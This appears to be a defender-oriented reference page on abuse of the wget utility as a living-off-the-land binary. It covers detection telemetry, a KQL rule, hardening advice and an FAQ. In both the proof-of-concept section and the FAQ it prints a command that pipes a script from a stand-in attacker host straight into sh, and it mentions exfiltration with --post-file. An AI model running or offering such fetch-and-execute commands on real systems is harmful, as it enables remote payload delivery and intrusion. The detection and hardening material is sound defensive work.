>wget
GNU Wget is a non-interactive network downloader. Attackers abuse wget to retrieve remote tools, exfiltrate data via POST requests, and execute downloaded scripts.
Default Executable Paths
/usr/bin/wget/bin/wgetIntegrity & Metadata
Wget can also send local files to remote servers via --post-file.
Detect wget commands downloading files into /tmp or performing HTTP POST transfers with --post-file.
Executive Summary & AI Quick Reference
wget is a native utility pre-installed on Linux systems. Threat actors and red teams abuse wget as a Living-off-the-Land Binary (LOLBin) to achieve Download without triggering traditional antivirus file-hash alerts. Legitimate system administrators use it for routine administration, making behavioral command-line telemetry essential for differentiation.
Weaponized Parameters & Proof-of-Concepts
Documented attack commands, parameter flags, and privilege prerequisites.
Quietly retrieves a script over HTTP and pipes directly to sh without creating a disk artifact.
wget -q -O - http://attacker.domain/installer.sh | shSIEM & EDR Detection Rules
Production telemetry rules configured for Microsoft Defender, Sigma, and Splunk.
Telemetry & SIEM Detection Suite (wget)
Validated against MITRE T11051DeviceProcessEvents2| where FileName =~ "wget"3| where ProcessCommandLine has_any ("-O -", "--output-document=-") and ProcessCommandLine has_any ("| sh", "| bash")4| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, ProcessCommandLineMitigation, Hardening & Prevention
Recommended defensive controls to block or constrain wget abuse.
Audit and remove unnecessary SUID / SGID bits (`chmod u-s /path/to/$wget`) and restrict sudoers NOPASSWD execution grants.
Implement AppArmor or SELinux profiles restricting wget network socket creation and read access to sensitive user directories.
Deploy the KQL, Sigma, and Splunk detection queries below. Alert on anomalous child processes, web requests to unrated external IPs, or encoded payload strings.
Frequently Asked Questions (FAQ) • wget
Key operational questions and defensive answers about wget LOLBin tradecraft.
What is wget and why is it classified as a LOLBin?
wget is a legitimate, pre-installed or trusted utility on Linux. It is classified as a Living-off-the-Land Binary (LOLBin) because adversaries abuse its built-in functionality to perform malicious operations—such as Download—without dropping custom malware binaries on disk.
How do threat actors abuse wget in cyber intrusions?
Adversaries leverage wget to execute stealthy actions while evading signature-based security controls. For example, attackers execute commands like "wget -q -O - http://attacker.domain/installer.sh | sh" to achieve Download, masquerading behind legitimate system process lineage.
How can SOC analysts detect suspicious wget activity?
Detection engineers monitor process creation events (Windows Event ID 4688 or Sysmon Event ID 1; Linux auditd EXECVE; macOS Endpoint Security) inspecting anomalous command line arguments, unusual parent-child process relationships (e.g. Office apps or web servers spawning wget), and unexpected network connections.
What MITRE ATT&CK techniques does wget map to?
wget maps to MITRE ATT&CK technique(s): T1105. These techniques cover adversary actions across tactics such as Defense Evasion, Execution, Persistence, and Command and Control.
How can organizations mitigate and restrict wget?
Mitigation strategies include implementing Application Control policies (AppLocker or Windows Defender Application Control - WDAC), enforcing Attack Surface Reduction (ASR) rules, configuring strict privilege separation (disallowing standard users from running sensitive switches), and alerting on execution from non-standard directories.
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